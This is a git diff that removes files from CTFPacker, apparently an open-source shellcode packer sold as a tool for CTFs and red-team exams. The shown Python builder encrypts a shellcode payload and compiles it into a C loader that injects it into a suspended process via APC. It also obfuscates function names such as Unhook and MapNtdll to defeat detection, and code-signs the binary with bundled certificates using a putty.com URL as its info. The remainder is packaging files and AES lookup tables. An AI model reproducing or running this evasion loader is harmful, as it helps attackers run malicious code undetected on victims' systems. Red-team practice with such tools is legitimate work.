range(len(main_data)): - if "#-KEY_VALUE-#" in main_data[i]: - main_data[i] = main_data[i].replace("#-KEY_VALUE-#", key) - if "#-IV_VALUE-#" in main_data[i]: - main_data[i] = main_data[i].replace("#-IV_VALUE-#", iv) - if "#-PAYLOAD_VALUE-#" in main_data[i]: - main_data[i] = main_data[i].replace("#-PAYLOAD_VALUE-#", str(hex_payload)) - - with open(f"{dst_directory}\\{filename}", "w") as file: - file.writelines(main_data) - - print(Colors.green(f"[+] Payload encrypted and saved into payload[] variable in main.c !")) - - # If encryption is not wanted (for whatever reason) - if args.encrypt is False: - - print(Colors.green("[i] Encryption not selected.")) - print(Colors.light_yellow("[+] Compiling the loader...")) - - # We comment out the encryption function in all main .c files - for filename in os.listdir(dst_directory): - if filename.startswith("main") and (filename.endswith(".c")): - with open(f"{dst_directory}\\{filename}", "r") as file: - main_data = file.readlines() - - for i in range(len(main_data)): - if "#include \"AES_128_CBC.h\"" in main_data[i]: - main_data[i] = f"//{main_data[i]}" - if "AES_CTX" in main_data[i]: - main_data[i] = f"\t//{main_data[i]}" - if "uint8_t aes_k[16] = { #-KEY_VALUE-# };" in main_data[i]: - main_data[i] = f"//{main_data[i]}" - if "uint8_t aes_i[16] = { #-IV_VALUE-# };" in main_data[i]: - main_data[i] = f"//{main_data[i]}" - if "Starting the decryption..." in main_data[i]: - main_data[i] = f"\t//{main_data[i]}" - if "pClearText = (PBYTE)malloc(sEncPayload);" in main_data[i]: - main_data[i] = f"\t//{main_data[i]}" - if "AES_DecryptInit(&ctx, aes_k, aes_i);" in main_data[i]: - main_data[i] = f"\t//{main_data[i]}" - if "AES_DecryptBuffer(&ctx, pEncPayload, pClearText, sEncPayload);" in main_data[i]: - main_data[i] = f"\t//{main_data[i]}" - if "Payload decrypted at postion: 0x%p with size of %zu" in main_data[i]: - main_data[i] = f"\t//{main_data[i]}" - if "if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess))" in main_data[i]: - main_data[i] = f"\tif (!APCInjection(hProcess, (PVOID) pEncPayload, sEncPayload, &pProcess)) {{" - if "#-PAYLOAD_VALUE-#" in main_data[i]: - main_data[i] = main_data[i].replace("#-PAYLOAD_VALUE-#", payload) - - with open(f"{dst_directory}\\{filename}", "w") as file: - file.writelines(main_data) - - if args.scramble: - - print(Colors.green("[i] Scrambling selected.")) - print(Colors.light_yellow("[+] Scrambling the loader...")) - - functions = ["HashStringDjb2A", "GetProcAddressH", "GetModuleHandleH", "MapNtdll", "Unhook", "AES_DecryptInit", "AES_DecryptBuffer", - "CreateSuspendedProcess", "APCInjection", "cDAPSu", "cCPAu", "aes_k", "aes_i", "AES_Decrypt", "AES_Encrypt", "AES_EncryptInit", - "NTAVM", "NTPVM", "NTWVM", "NTQAT"] - scrambled_functions = [] - - variables = ["sEncPayload", "pEncPayload", "pClearText", "ctx", "hProcess", "pProcess", "dwSizeOfClearText", "dwOldProtect", "dwProcessId", "payload"] - scrambled_variables = [] - - alphabet = list("abcdefghijklmnopqrstuvwxyz") - used_combos = set() - - # Scrambling the functions - for sign in functions + variables: - letter = random.choice(alphabet) - multiplier = random.randint(1, 128) - while (letter, multiplier) in used_combos: - letter = random.choice(alphabet) - multiplier = random.randint(1, 128) - used_combos.add((letter, multiplier)) - scrambled_sign = letter * multiplier - - if sign in functions: - scrambled_functions.append(scrambled_sign) - else: - scrambled_variables.append(scrambled_sign) - - # Modifying all .c and .h files in the temporary folder - for filename in os.listdir(dst_directory): - if filename.endswith(".c") or filename.endswith(".h") or filename.endswith(".asm"): - with open(f"{dst_directory}\\{filename}", "r") as file: - data = file.readlines() - - for i in range(len(data)): - if "HashStringDjb2A" in data[i]: - data[i] = data[i].replace("HashStringDjb2A", scrambled_functions[0]) - if "GetProcAddressH" in data[i]: - data[i] = data[i].replace("GetProcAddressH", scrambled_functions[1]) - if "GetModuleHandleH" in data[i]: - data[i] = data[i].replace("GetModuleHandleH", scrambled_functions[2]) - if "MapNtdll" in data[i]: - data[i] = data[i].replace("MapNtdll", scrambled_functions[3]) - if "Unhook" in data[i]: - data[i] = data[i].replace("Unhook", scrambled_functions[4]) - if "AES_DecryptInit" in data[i]: - data[i] = data[i].replace("AES_DecryptInit", scrambled_functions[5]) - if "AES_DecryptBuffer" in data[i]: - data[i] = data[i].replace("AES_DecryptBuffer", scrambled_functions[6]) - if "CreateSuspendedProcess" in data[i]: - data[i] = data[i].replace("CreateSuspendedProcess", scrambled_functions[7]) - if "APCInjection" in data[i]: - data[i] = data[i].replace("APCInjection", scrambled_functions[8]) - if "cDAPSu" in data[i]: - data[i] = data[i].replace("cDAPSu", scrambled_functions[9]) - if "cCPAu" in data[i]: - data[i] = data[i].replace("cCPAu", scrambled_functions[10]) - if "aes_k" in data[i]: - data[i] = data[i].replace("aes_k", scrambled_functions[11]) - if "aes_i" in data[i]: - data[i] = data[i].replace("aes_i", scrambled_functions[12]) - if "AES_Decrypt" in data[i]: - data[i] = data[i].replace("AES_Decrypt", scrambled_functions[13]) - if "AES_Encrypt" in data[i]: - data[i] = data[i].replace("AES_Encrypt", scrambled_functions[14]) - if "AES_EncryptInit" in data[i]: - data[i] = data[i].replace("AES_EncryptInit", scrambled_functions[15]) - if "NTAVM" in data[i]: - data[i] = data[i].replace("NTAVM", scrambled_functions[16]) - if "NTPVM" in data[i]: - data[i] = data[i].replace("NTPVM", scrambled_functions[17]) - if "NTWVM" in data[i]: - data[i] = data[i].replace("NTWVM", scrambled_functions[18]) - if "NTQAT" in data[i]: - data[i] = data[i].replace("NTQAT", scrambled_functions[19]) - - with open(f"{dst_directory}\\{filename}", "w") as file: - file.writelines(data) - - # Modifying the main.c file - for filename in os.listdir(dst_directory): - if filename.startswith("main") and filename.endswith(".c"): - with open(f"{dst_directory}\\{filename}", "r") as file: - main_data = file.readlines() - - for i in range(len(main_data)): - if "sEncPayload" in main_data[i]: - main_data[i] = main_data[i].replace("sEncPayload", scrambled_variables[0]) - if "pEncPayload" in main_data[i]: - main_data[i] = main_data[i].replace("pEncPayload", scrambled_variables[1]) - if "pClearText" in main_data[i]: - main_data[i] = main_data[i].replace("pClearText", scrambled_variables[2]) - if "ctx" in main_data[i]: - main_data[i] = main_data[i].replace("ctx", scrambled_variables[3]) - if "hProcess" in main_data[i]: - main_data[i] = main_data[i].replace("hProcess", scrambled_variables[4]) - if "pProcess" in main_data[i]: - main_data[i] = main_data[i].replace("pProcess", scrambled_variables[5]) - if "dwSizeOfClearText" in main_data[i]: - main_data[i] = main_data[i].replace("dwSizeOfClearText", scrambled_variables[6]) - if "dwOldProtect" in main_data[i]: - main_data[i] = main_data[i].replace("dwOldProtect", scrambled_variables[7]) - if "dwProcessId" in main_data[i]: - main_data[i] = main_data[i].replace("dwProcessId", scrambled_variables[8]) - if "payload" in main_data[i]: - main_data[i] = main_data[i].replace("payload", scrambled_variables[9]) - - with open(f"{dst_directory}\\{filename}", "w") as file: - file.writelines(main_data) - - print(Colors.green("[+] Loader scrambled !")) - - - if args.format is None or args.format == "EXE": - if args.pfx: - - print(Colors.green("[i] Signing selected.")) - print(Colors.light_yellow("[+] Signing the loader...")) - - osslsigncode_path = str(resources.files("custom_certs").joinpath("osslsigncode.exe")) - - # If the user supplied a PFX file, we use it to sign the loader. - if args.pfx is not None: - pfx_path = args.pfx - else: - print(Colors.red("[!] PFX file not found")) - sys.exit(1) - - if args.pfx_password: - pfx_password = args.pfx_password - else: - print(Colors.red("[!] PFX password not provided")) - sys.exit(1) - - input_binary = "ctfloader.exe" - signed_binary = "ctfloader_signed.exe" - - os.system(f"cd {dst_directory} && make clean && make FORMAT=EXE") - shutil.move(f"{dst_directory}\\ctfloader.exe", f"ctfloader.exe") - - if os.path.exists("ctfloader_signed.exe"): - os.remove("ctfloader_signed.exe") - - subprocess.run([ - osslsigncode_path, - "sign", - "-pkcs12", pfx_path, - "-pass", pfx_password, - "-n", "Signed Loader", - "-i", "https://putty.com", - "-t", "http://timestamp.sectigo.com", - "-in", input_binary, - "-out", signed_binary - ], check=True) - - shutil.rmtree(dst_directory) - - print(Colors.green("[+] Loader signed !")) - - else: - - # Everything has been modified, we can now compile the loader - os.system(f"cd {dst_directory} && make clean && make FORMAT=EXE") - - # We move the compiled loader one directory up - shutil.move(f"{dst_directory}\\ctfloader.exe", f"ctfloader.exe") - - # We delete the temporary folder - shutil.rmtree(dst_directory) - - print(Colors.green("[+] Loader compiled !")) - - print(Colors.green("[+] DONE !")) - - if args.format == "DLL": - - print(Colors.green("[i] DLL format selected.")) - - os.system(f"cd {dst_directory} && make clean && make FORMAT=DLL") - - # We move the compiled loader one directory up - shutil.move(f"{dst_directory}\\ctfloader.dll", f"ctfloader.dll") - - # We delete the temporary folder - shutil.rmtree(dst_directory) - - print(Colors.green("[+] Loader compiled !")) - - print(Colors.green("[+] DONE !")) - -if __name__ == "__main__": - main() \ No newline at end of file diff --git a/Windows/requirements.txt b/Windows/requirements.txt deleted file mode 100644 index 8879aeb..0000000 --- a/Windows/requirements.txt +++ /dev/null @@ -1,3 +0,0 @@ -colorama==0.4.6 -pycryptodome==3.20.0 -setuptools diff --git a/Windows/setup.py b/Windows/setup.py deleted file mode 100644 index 1cc243e..0000000 --- a/Windows/setup.py +++ /dev/null @@ -1,31 +0,0 @@ -from setuptools import setup, find_packages - -setup( - name='ctfpacker', - version='1.0', - description='Cross platform (Linux / Windows) shellcode packer for CTFs and pentest / red team exams', - long_description=open('README.md').read(), - long_description_content_type='text/markdown', - url='https://github.com/mochabyte0x/CTFPacker', - author='mochabyte0x', - author_email='contact@mochabyte.xyz', - maintainer='mochabyte0x', - license='MIT', - install_requires=['colorama', - 'pycryptodome'], - py_modules=['main'], - include_package_data=True, - packages=find_packages(), - package_data={'custom_certs':['cert1.pfx', 'cert2.pfx', 'osslsigncode.exe'], - 'templates': [ - 'stageless/*', - 'staged/*' - ] - }, - entry_points={ - 'console_scripts': [ - 'ctfpacker=main:main' - ], - }, - platforms=['Linux', 'Windows'] -) diff --git a/Windows/templates/staged/AES_128_CBC.h b/Windows/templates/staged/AES_128_CBC.h deleted file mode 100644 index cdebc4e..0000000 --- a/Windows/templates/staged/AES_128_CBC.h +++ /dev/null @@ -1,965 +0,0 @@ -/* - -Original Implementation: https://github.com/halloweeks/AES-128-CBC -Modifications from MochaByte to handle data of any size. - -MIT License - -Copyright (c) 2024 Hallo Weeks - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. - -*/ - -#include - -#ifndef __AES_128_CBC_H__ -#define __AES_128_CBC_H__ - -#define AES_BLOCK_SIZE 16 -#define AES_KEY_SIZE 16 - -#define GETU32(in_data) (((unsigned int)(in_data)[0] << 24) ^ \ - ((unsigned int)(in_data)[1] << 16) ^ \ - ((unsigned int)(in_data)[2] << 8) ^ \ - ((unsigned int)(in_data)[3] << 0)) - -#define PUTU32(out_data, st) { (out_data)[0] = (unsigned char)((st) >> 24); \ - (out_data)[1] = (unsigned char)((st) >> 16); \ - (out_data)[2] = (unsigned char)((st) >> 8); \ - (out_data)[3] = (unsigned char)((st) >> 0); } - -static const unsigned int Te0[256] = -{ - 0xc66363a5U, 0xf87c7c84U, 0xee777799U, 0xf67b7b8dU, - 0xfff2f20dU, 0xd66b6bbdU, 0xde6f6fb1U, 0x91c5c554U, - 0x60303050U, 0x02010103U, 0xce6767a9U, 0x562b2b7dU, - 0xe7fefe19U, 0xb5d7d762U, 0x4dababe6U, 0xec76769aU, - 0x8fcaca45U, 0x1f82829dU, 0x89c9c940U, 0xfa7d7d87U, - 0xeffafa15U, 0xb25959ebU, 0x8e4747c9U, 0xfbf0f00bU, - 0x41adadecU, 0xb3d4d467U, 0x5fa2a2fdU, 0x45afafeaU, - 0x239c9cbfU, 0x53a4a4f7U, 0xe4727296U, 0x9bc0c05bU, - 0x75b7b7c2U, 0xe1fdfd1cU, 0x3d9393aeU, 0x4c26266aU, - 0x6c36365aU, 0x7e3f3f41U, 0xf5f7f702U, 0x83cccc4fU, - 0x6834345cU, 0x51a5a5f4U, 0xd1e5e534U, 0xf9f1f108U, - 0xe2717193U, 0xabd8d873U, 0x62313153U, 0x2a15153fU, - 0x0804040cU, 0x95c7c752U, 0x46232365U, 0x9dc3c35eU, - 0x30181828U, 0x379696a1U, 0x0a05050fU, 0x2f9a9ab5U, - 0x0e070709U, 0x24121236U, 0x1b80809bU, 0xdfe2e23dU, - 0xcdebeb26U, 0x4e272769U, 0x7fb2b2cdU, 0xea75759fU, - 0x1209091bU, 0x1d83839eU, 0x582c2c74U, 0x341a1a2eU, - 0x361b1b2dU, 0xdc6e6eb2U, 0xb45a5aeeU, 0x5ba0a0fbU, - 0xa45252f6U, 0x763b3b4dU, 0xb7d6d661U, 0x7db3b3ceU, - 0x5229297bU, 0xdde3e33eU, 0x5e2f2f71U, 0x13848497U, - 0xa65353f5U, 0xb9d1d168U, 0x00000000U, 0xc1eded2cU, - 0x40202060U, 0xe3fcfc1fU, 0x79b1b1c8U, 0xb65b5bedU, - 0xd46a6abeU, 0x8dcbcb46U, 0x67bebed9U, 0x7239394bU, - 0x944a4adeU, 0x984c4cd4U, 0xb05858e8U, 0x85cfcf4aU, - 0xbbd0d06bU, 0xc5efef2aU, 0x4faaaae5U, 0xedfbfb16U, - 0x864343c5U, 0x9a4d4dd7U, 0x66333355U, 0x11858594U, - 0x8a4545cfU, 0xe9f9f910U, 0x04020206U, 0xfe7f7f81U, - 0xa05050f0U, 0x783c3c44U, 0x259f9fbaU, 0x4ba8a8e3U, - 0xa25151f3U, 0x5da3a3feU, 0x804040c0U, 0x058f8f8aU, - 0x3f9292adU, 0x219d9dbcU, 0x70383848U, 0xf1f5f504U, - 0x63bcbcdfU, 0x77b6b6c1U, 0xafdada75U, 0x42212163U, - 0x20101030U, 0xe5ffff1aU, 0xfdf3f30eU, 0xbfd2d26dU, - 0x81cdcd4cU, 0x180c0c14U, 0x26131335U, 0xc3ecec2fU, - 0xbe5f5fe1U, 0x359797a2U, 0x884444ccU, 0x2e171739U, - 0x93c4c457U, 0x55a7a7f2U, 0xfc7e7e82U, 0x7a3d3d47U, - 0xc86464acU, 0xba5d5de7U, 0x3219192bU, 0xe6737395U, - 0xc06060a0U, 0x19818198U, 0x9e4f4fd1U, 0xa3dcdc7fU, - 0x44222266U, 0x542a2a7eU, 0x3b9090abU, 0x0b888883U, - 0x8c4646caU, 0xc7eeee29U, 0x6bb8b8d3U, 0x2814143cU, - 0xa7dede79U, 0xbc5e5ee2U, 0x160b0b1dU, 0xaddbdb76U, - 0xdbe0e03bU, 0x64323256U, 0x743a3a4eU, 0x140a0a1eU, - 0x924949dbU, 0x0c06060aU, 0x4824246cU, 0xb85c5ce4U, - 0x9fc2c25dU, 0xbdd3d36eU, 0x43acacefU, 0xc46262a6U, - 0x399191a8U, 0x319595a4U, 0xd3e4e437U, 0xf279798bU, - 0xd5e7e732U, 0x8bc8c843U, 0x6e373759U, 0xda6d6db7U, - 0x018d8d8cU, 0xb1d5d564U, 0x9c4e4ed2U, 0x49a9a9e0U, - 0xd86c6cb4U, 0xac5656faU, 0xf3f4f407U, 0xcfeaea25U, - 0xca6565afU, 0xf47a7a8eU, 0x47aeaee9U, 0x10080818U, - 0x6fbabad5U, 0xf0787888U, 0x4a25256fU, 0x5c2e2e72U, - 0x381c1c24U, 0x57a6a6f1U, 0x73b4b4c7U, 0x97c6c651U, - 0xcbe8e823U, 0xa1dddd7cU, 0xe874749cU, 0x3e1f1f21U, - 0x964b4bddU, 0x61bdbddcU, 0x0d8b8b86U, 0x0f8a8a85U, - 0xe0707090U, 0x7c3e3e42U, 0x71b5b5c4U, 0xcc6666aaU, - 0x904848d8U, 0x06030305U, 0xf7f6f601U, 0x1c0e0e12U, - 0xc26161a3U, 0x6a35355fU, 0xae5757f9U, 0x69b9b9d0U, - 0x17868691U, 0x99c1c158U, 0x3a1d1d27U, 0x279e9eb9U, - 0xd9e1e138U, 0xebf8f813U, 0x2b9898b3U, 0x22111133U, - 0xd26969bbU, 0xa9d9d970U, 0x078e8e89U, 0x339494a7U, - 0x2d9b9bb6U, 0x3c1e1e22U, 0x15878792U, 0xc9e9e920U, - 0x87cece49U, 0xaa5555ffU, 0x50282878U, 0xa5dfdf7aU, - 0x038c8c8fU, 0x59a1a1f8U, 0x09898980U, 0x1a0d0d17U, - 0x65bfbfdaU, 0xd7e6e631U, 0x844242c6U, 0xd06868b8U, - 0x824141c3U, 0x299999b0U, 0x5a2d2d77U, 0x1e0f0f11U, - 0x7bb0b0cbU, 0xa85454fcU, 0x6dbbbbd6U, 0x2c16163aU, -}; - -static const unsigned int Te1[256] = -{ - 0xa5c66363U, 0x84f87c7cU, 0x99ee7777U, 0x8df67b7bU, - 0x0dfff2f2U, 0xbdd66b6bU, 0xb1de6f6fU, 0x5491c5c5U, - 0x50603030U, 0x03020101U, 0xa9ce6767U, 0x7d562b2bU, - 0x19e7fefeU, 0x62b5d7d7U, 0xe64dababU, 0x9aec7676U, - 0x458fcacaU, 0x9d1f8282U, 0x4089c9c9U, 0x87fa7d7dU, - 0x15effafaU, 0xebb25959U, 0xc98e4747U, 0x0bfbf0f0U, - 0xec41adadU, 0x67b3d4d4U, 0xfd5fa2a2U, 0xea45afafU, - 0xbf239c9cU, 0xf753a4a4U, 0x96e47272U, 0x5b9bc0c0U, - 0xc275b7b7U, 0x1ce1fdfdU, 0xae3d9393U, 0x6a4c2626U, - 0x5a6c3636U, 0x417e3f3fU, 0x02f5f7f7U, 0x4f83ccccU, - 0x5c683434U, 0xf451a5a5U, 0x34d1e5e5U, 0x08f9f1f1U, - 0x93e27171U, 0x73abd8d8U, 0x53623131U, 0x3f2a1515U, - 0x0c080404U, 0x5295c7c7U, 0x65462323U, 0x5e9dc3c3U, - 0x28301818U, 0xa1379696U, 0x0f0a0505U, 0xb52f9a9aU, - 0x090e0707U, 0x36241212U, 0x9b1b8080U, 0x3ddfe2e2U, - 0x26cdebebU, 0x694e2727U, 0xcd7fb2b2U, 0x9fea7575U, - 0x1b120909U, 0x9e1d8383U, 0x74582c2cU, 0x2e341a1aU, - 0x2d361b1bU, 0xb2dc6e6eU, 0xeeb45a5aU, 0xfb5ba0a0U, - 0xf6a45252U, 0x4d763b3bU, 0x61b7d6d6U, 0xce7db3b3U, - 0x7b522929U, 0x3edde3e3U, 0x715e2f2fU, 0x97138484U, - 0xf5a65353U, 0x68b9d1d1U, 0x00000000U, 0x2cc1ededU, - 0x60402020U, 0x1fe3fcfcU, 0xc879b1b1U, 0xedb65b5bU, - 0xbed46a6aU, 0x468dcbcbU, 0xd967bebeU, 0x4b723939U, - 0xde944a4aU, 0xd4984c4cU, 0xe8b05858U, 0x4a85cfcfU, - 0x6bbbd0d0U, 0x2ac5efefU, 0xe54faaaaU, 0x16edfbfbU, - 0xc5864343U, 0xd79a4d4dU, 0x55663333U, 0x94118585U, - 0xcf8a4545U, 0x10e9f9f9U, 0x06040202U, 0x81fe7f7fU, - 0xf0a05050U, 0x44783c3cU, 0xba259f9fU, 0xe34ba8a8U, - 0xf3a25151U, 0xfe5da3a3U, 0xc0804040U, 0x8a058f8fU, - 0xad3f9292U, 0xbc219d9dU, 0x48703838U, 0x04f1f5f5U, - 0xdf63bcbcU, 0xc177b6b6U, 0x75afdadaU, 0x63422121U, - 0x30201010U, 0x1ae5ffffU, 0x0efdf3f3U, 0x6dbfd2d2U, - 0x4c81cdcdU, 0x14180c0cU, 0x35261313U, 0x2fc3ececU, - 0xe1be5f5fU, 0xa2359797U, 0xcc884444U, 0x392e1717U, - 0x5793c4c4U, 0xf255a7a7U, 0x82fc7e7eU, 0x477a3d3dU, - 0xacc86464U, 0xe7ba5d5dU, 0x2b321919U, 0x95e67373U, - 0xa0c06060U, 0x98198181U, 0xd19e4f4fU, 0x7fa3dcdcU, - 0x66442222U, 0x7e542a2aU, 0xab3b9090U, 0x830b8888U, - 0xca8c4646U, 0x29c7eeeeU, 0xd36bb8b8U, 0x3c281414U, - 0x79a7dedeU, 0xe2bc5e5eU, 0x1d160b0bU, 0x76addbdbU, - 0x3bdbe0e0U, 0x56643232U, 0x4e743a3aU, 0x1e140a0aU, - 0xdb924949U, 0x0a0c0606U, 0x6c482424U, 0xe4b85c5cU, - 0x5d9fc2c2U, 0x6ebdd3d3U, 0xef43acacU, 0xa6c46262U, - 0xa8399191U, 0xa4319595U, 0x37d3e4e4U, 0x8bf27979U, - 0x32d5e7e7U, 0x438bc8c8U, 0x596e3737U, 0xb7da6d6dU, - 0x8c018d8dU, 0x64b1d5d5U, 0xd29c4e4eU, 0xe049a9a9U, - 0xb4d86c6cU, 0xfaac5656U, 0x07f3f4f4U, 0x25cfeaeaU, - 0xafca6565U, 0x8ef47a7aU, 0xe947aeaeU, 0x18100808U, - 0xd56fbabaU, 0x88f07878U, 0x6f4a2525U, 0x725c2e2eU, - 0x24381c1cU, 0xf157a6a6U, 0xc773b4b4U, 0x5197c6c6U, - 0x23cbe8e8U, 0x7ca1ddddU, 0x9ce87474U, 0x213e1f1fU, - 0xdd964b4bU, 0xdc61bdbdU, 0x860d8b8bU, 0x850f8a8aU, - 0x90e07070U, 0x427c3e3eU, 0xc471b5b5U, 0xaacc6666U, - 0xd8904848U, 0x05060303U, 0x01f7f6f6U, 0x121c0e0eU, - 0xa3c26161U, 0x5f6a3535U, 0xf9ae5757U, 0xd069b9b9U, - 0x91178686U, 0x5899c1c1U, 0x273a1d1dU, 0xb9279e9eU, - 0x38d9e1e1U, 0x13ebf8f8U, 0xb32b9898U, 0x33221111U, - 0xbbd26969U, 0x70a9d9d9U, 0x89078e8eU, 0xa7339494U, - 0xb62d9b9bU, 0x223c1e1eU, 0x92158787U, 0x20c9e9e9U, - 0x4987ceceU, 0xffaa5555U, 0x78502828U, 0x7aa5dfdfU, - 0x8f038c8cU, 0xf859a1a1U, 0x80098989U, 0x171a0d0dU, - 0xda65bfbfU, 0x31d7e6e6U, 0xc6844242U, 0xb8d06868U, - 0xc3824141U, 0xb0299999U, 0x775a2d2dU, 0x111e0f0fU, - 0xcb7bb0b0U, 0xfca85454U, 0xd66dbbbbU, 0x3a2c1616U, -}; - -static const unsigned int Te2[256] = -{ - 0x63a5c663U, 0x7c84f87cU, 0x7799ee77U, 0x7b8df67bU, - 0xf20dfff2U, 0x6bbdd66bU, 0x6fb1de6fU, 0xc55491c5U, - 0x30506030U, 0x01030201U, 0x67a9ce67U, 0x2b7d562bU, - 0xfe19e7feU, 0xd762b5d7U, 0xabe64dabU, 0x769aec76U, - 0xca458fcaU, 0x829d1f82U, 0xc94089c9U, 0x7d87fa7dU, - 0xfa15effaU, 0x59ebb259U, 0x47c98e47U, 0xf00bfbf0U, - 0xadec41adU, 0xd467b3d4U, 0xa2fd5fa2U, 0xafea45afU, - 0x9cbf239cU, 0xa4f753a4U, 0x7296e472U, 0xc05b9bc0U, - 0xb7c275b7U, 0xfd1ce1fdU, 0x93ae3d93U, 0x266a4c26U, - 0x365a6c36U, 0x3f417e3fU, 0xf702f5f7U, 0xcc4f83ccU, - 0x345c6834U, 0xa5f451a5U, 0xe534d1e5U, 0xf108f9f1U, - 0x7193e271U, 0xd873abd8U, 0x31536231U, 0x153f2a15U, - 0x040c0804U, 0xc75295c7U, 0x23654623U, 0xc35e9dc3U, - 0x18283018U, 0x96a13796U, 0x050f0a05U, 0x9ab52f9aU, - 0x07090e07U, 0x12362412U, 0x809b1b80U, 0xe23ddfe2U, - 0xeb26cdebU, 0x27694e27U, 0xb2cd7fb2U, 0x759fea75U, - 0x091b1209U, 0x839e1d83U, 0x2c74582cU, 0x1a2e341aU, - 0x1b2d361bU, 0x6eb2dc6eU, 0x5aeeb45aU, 0xa0fb5ba0U, - 0x52f6a452U, 0x3b4d763bU, 0xd661b7d6U, 0xb3ce7db3U, - 0x297b5229U, 0xe33edde3U, 0x2f715e2fU, 0x84971384U, - 0x53f5a653U, 0xd168b9d1U, 0x00000000U, 0xed2cc1edU, - 0x20604020U, 0xfc1fe3fcU, 0xb1c879b1U, 0x5bedb65bU, - 0x6abed46aU, 0xcb468dcbU, 0xbed967beU, 0x394b7239U, - 0x4ade944aU, 0x4cd4984cU, 0x58e8b058U, 0xcf4a85cfU, - 0xd06bbbd0U, 0xef2ac5efU, 0xaae54faaU, 0xfb16edfbU, - 0x43c58643U, 0x4dd79a4dU, 0x33556633U, 0x85941185U, - 0x45cf8a45U, 0xf910e9f9U, 0x02060402U, 0x7f81fe7fU, - 0x50f0a050U, 0x3c44783cU, 0x9fba259fU, 0xa8e34ba8U, - 0x51f3a251U, 0xa3fe5da3U, 0x40c08040U, 0x8f8a058fU, - 0x92ad3f92U, 0x9dbc219dU, 0x38487038U, 0xf504f1f5U, - 0xbcdf63bcU, 0xb6c177b6U, 0xda75afdaU, 0x21634221U, - 0x10302010U, 0xff1ae5ffU, 0xf30efdf3U, 0xd26dbfd2U, - 0xcd4c81cdU, 0x0c14180cU, 0x13352613U, 0xec2fc3ecU, - 0x5fe1be5fU, 0x97a23597U, 0x44cc8844U, 0x17392e17U, - 0xc45793c4U, 0xa7f255a7U, 0x7e82fc7eU, 0x3d477a3dU, - 0x64acc864U, 0x5de7ba5dU, 0x192b3219U, 0x7395e673U, - 0x60a0c060U, 0x81981981U, 0x4fd19e4fU, 0xdc7fa3dcU, - 0x22664422U, 0x2a7e542aU, 0x90ab3b90U, 0x88830b88U, - 0x46ca8c46U, 0xee29c7eeU, 0xb8d36bb8U, 0x143c2814U, - 0xde79a7deU, 0x5ee2bc5eU, 0x0b1d160bU, 0xdb76addbU, - 0xe03bdbe0U, 0x32566432U, 0x3a4e743aU, 0x0a1e140aU, - 0x49db9249U, 0x060a0c06U, 0x246c4824U, 0x5ce4b85cU, - 0xc25d9fc2U, 0xd36ebdd3U, 0xacef43acU, 0x62a6c462U, - 0x91a83991U, 0x95a43195U, 0xe437d3e4U, 0x798bf279U, - 0xe732d5e7U, 0xc8438bc8U, 0x37596e37U, 0x6db7da6dU, - 0x8d8c018dU, 0xd564b1d5U, 0x4ed29c4eU, 0xa9e049a9U, - 0x6cb4d86cU, 0x56faac56U, 0xf407f3f4U, 0xea25cfeaU, - 0x65afca65U, 0x7a8ef47aU, 0xaee947aeU, 0x08181008U, - 0xbad56fbaU, 0x7888f078U, 0x256f4a25U, 0x2e725c2eU, - 0x1c24381cU, 0xa6f157a6U, 0xb4c773b4U, 0xc65197c6U, - 0xe823cbe8U, 0xdd7ca1ddU, 0x749ce874U, 0x1f213e1fU, - 0x4bdd964bU, 0xbddc61bdU, 0x8b860d8bU, 0x8a850f8aU, - 0x7090e070U, 0x3e427c3eU, 0xb5c471b5U, 0x66aacc66U, - 0x48d89048U, 0x03050603U, 0xf601f7f6U, 0x0e121c0eU, - 0x61a3c261U, 0x355f6a35U, 0x57f9ae57U, 0xb9d069b9U, - 0x86911786U, 0xc15899c1U, 0x1d273a1dU, 0x9eb9279eU, - 0xe138d9e1U, 0xf813ebf8U, 0x98b32b98U, 0x11332211U, - 0x69bbd269U, 0xd970a9d9U, 0x8e89078eU, 0x94a73394U, - 0x9bb62d9bU, 0x1e223c1eU, 0x87921587U, 0xe920c9e9U, - 0xce4987ceU, 0x55ffaa55U, 0x28785028U, 0xdf7aa5dfU, - 0x8c8f038cU, 0xa1f859a1U, 0x89800989U, 0x0d171a0dU, - 0xbfda65bfU, 0xe631d7e6U, 0x42c68442U, 0x68b8d068U, - 0x41c38241U, 0x99b02999U, 0x2d775a2dU, 0x0f111e0fU, - 0xb0cb7bb0U, 0x54fca854U, 0xbbd66dbbU, 0x163a2c16U, -}; - -static const unsigned int Te3[256] = -{ - 0x6363a5c6U, 0x7c7c84f8U, 0x777799eeU, 0x7b7b8df6U, - 0xf2f20dffU, 0x6b6bbdd6U, 0x6f6fb1deU, 0xc5c55491U, - 0x30305060U, 0x01010302U, 0x6767a9ceU, 0x2b2b7d56U, - 0xfefe19e7U, 0xd7d762b5U, 0xababe64dU, 0x76769aecU, - 0xcaca458fU, 0x82829d1fU, 0xc9c94089U, 0x7d7d87faU, - 0xfafa15efU, 0x5959ebb2U, 0x4747c98eU, 0xf0f00bfbU, - 0xadadec41U, 0xd4d467b3U, 0xa2a2fd5fU, 0xafafea45U, - 0x9c9cbf23U, 0xa4a4f753U, 0x727296e4U, 0xc0c05b9bU, - 0xb7b7c275U, 0xfdfd1ce1U, 0x9393ae3dU, 0x26266a4cU, - 0x36365a6cU, 0x3f3f417eU, 0xf7f702f5U, 0xcccc4f83U, - 0x34345c68U, 0xa5a5f451U, 0xe5e534d1U, 0xf1f108f9U, - 0x717193e2U, 0xd8d873abU, 0x31315362U, 0x15153f2aU, - 0x04040c08U, 0xc7c75295U, 0x23236546U, 0xc3c35e9dU, - 0x18182830U, 0x9696a137U, 0x05050f0aU, 0x9a9ab52fU, - 0x0707090eU, 0x12123624U, 